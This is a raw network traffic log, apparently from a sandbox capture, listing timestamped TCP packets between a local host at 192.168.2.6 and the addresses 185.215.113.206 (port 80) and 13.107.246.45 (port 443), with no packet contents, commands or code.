Oct 30, 2024 04:34:46.582253933 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582283020 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582313061 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582324028 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582396030 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582407951 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582422972 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582432985 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582434893 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.582434893 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.582473993 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.582479954 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582489014 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.582489014 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.582490921 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582535028 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582546949 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582598925 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.582623959 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582634926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582645893 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582655907 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582686901 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.582686901 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.582734108 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582743883 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582753897 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582762957 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.582770109 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582793951 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.582806110 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582818031 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582835913 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.582901001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582905054 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.582911968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582922935 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582936049 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582946062 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582948923 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.582957983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582967997 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.582988024 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.582988024 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.583079100 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583091021 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583101988 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583105087 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.583144903 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.583144903 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.583178043 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583190918 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583201885 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583278894 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583283901 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.583292007 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583302975 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583322048 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583331108 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.583359003 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583369970 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583369970 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.583369970 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.583450079 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583461046 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583471060 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583482981 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583494902 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583508968 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.583539009 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.583539009 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.583597898 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583609104 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583620071 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583631992 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583645105 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583662033 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.583698034 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.583698034 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.583719015 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583729982 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583741903 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583751917 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583765030 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583765984 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.583787918 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.583849907 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583862066 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583873034 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583878994 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.583905935 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.583941936 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.583982944 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.583997011 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584007978 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584028006 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584039927 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584050894 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584063053 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584067106 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584075928 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584089041 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584089994 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584089994 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584106922 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584116936 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584162951 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584162951 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584201097 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584213972 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584223986 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584238052 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584249020 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584256887 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584261894 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584275961 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584276915 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584300995 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584448099 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584475040 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584486008 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584496975 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584508896 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584520102 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584532022 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584542990 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584549904 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584556103 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584567070 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584568024 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584578991 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584589958 CET	443	51094	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.584594965 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584595919 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584603071 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584624052 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584649086 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584662914 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584672928 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584676027 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584686041 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584698915 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584738970 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584738970 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584810972 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584821939 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584830999 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584844112 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584853888 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584856987 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584867001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584878922 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584882975 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584882975 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584903002 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.584959984 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584970951 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584980011 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.584984064 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585001945 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585005999 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585012913 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585022926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585027933 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585026979 CET	51094	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.585036993 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585046053 CET	443	51094	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.585047007 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585050106 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585061073 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585074902 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585154057 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585163116 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585167885 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585180998 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585192919 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585238934 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585238934 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585315943 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585325956 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585335970 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585349083 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585360050 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585371971 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585380077 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585380077 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585398912 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585467100 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585477114 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585486889 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585494995 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585499048 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585510015 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585515976 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585517883 CET	51094	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.585521936 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585521936 CET	443	51094	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.585532904 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585544109 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585551023 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585551023 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585555077 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585567951 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585580111 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585591078 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585613966 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585613966 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585637093 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585647106 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585663080 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585715055 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585725069 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585733891 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585741043 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585747957 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585762978 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585798025 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585798025 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585803032 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585823059 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585844040 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585855007 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585907936 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585907936 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.585915089 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585927010 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585937977 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585952044 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.585964918 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.586004019 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.586004019 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.586035967 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.586049080 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.586060047 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.586071968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.586082935 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.586107969 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.586149931 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.586165905 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.586180925 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.586185932 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.586244106 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.586256981 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.586267948 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.586272001 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.586287022 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.586366892 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.614912033 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.614968061 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.615109921 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.615109921 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.616116047 CET	443	51093	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.616226912 CET	443	51093	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.616350889 CET	51093	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.616396904 CET	51093	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.616414070 CET	443	51093	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.616441965 CET	51093	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.616447926 CET	443	51093	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.619139910 CET	51099	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.619180918 CET	443	51099	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.619286060 CET	51099	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.619420052 CET	51099	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.619436979 CET	443	51099	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.658392906 CET	443	51095	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.658437014 CET	443	51095	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.658642054 CET	51095	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.658642054 CET	51095	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.658708096 CET	51095	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.658714056 CET	443	51095	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.660943031 CET	51100	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.660962105 CET	443	51100	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.661184072 CET	51100	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.661276102 CET	51100	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.661286116 CET	443	51100	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.667639971 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.667650938 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.667711973 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.667742968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.667754889 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.667766094 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.667777061 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.667824030 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.667824030 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.667846918 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.667860031 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.667917967 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.667917967 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.702491999 CET	443	51096	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.702513933 CET	443	51096	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.702544928 CET	443	51096	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.702672005 CET	51096	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.702672005 CET	51096	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.702790022 CET	51096	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.702790022 CET	51096	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.702810049 CET	443	51096	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.702824116 CET	443	51096	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.705009937 CET	51101	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.705024004 CET	443	51101	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.705228090 CET	51101	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.705228090 CET	51101	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.705248117 CET	443	51101	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.705596924 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.705610037 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.705621004 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.705687046 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.705698013 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.705698967 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.705698013 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.705713987 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.705745935 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.705745935 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.705792904 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.705796957 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.705809116 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.705833912 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.705838919 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.705842018 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.705852985 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.705866098 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.705878973 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.705879927 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.705888987 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.705897093 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.705929995 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.705977917 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.705990076 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706001043 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706012011 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706026077 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.706060886 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.706060886 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.706118107 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706129074 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706218958 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706229925 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706240892 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706247091 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.706254005 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706267118 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706276894 CET	80	50987	185.215.113.206	192.168.2.6
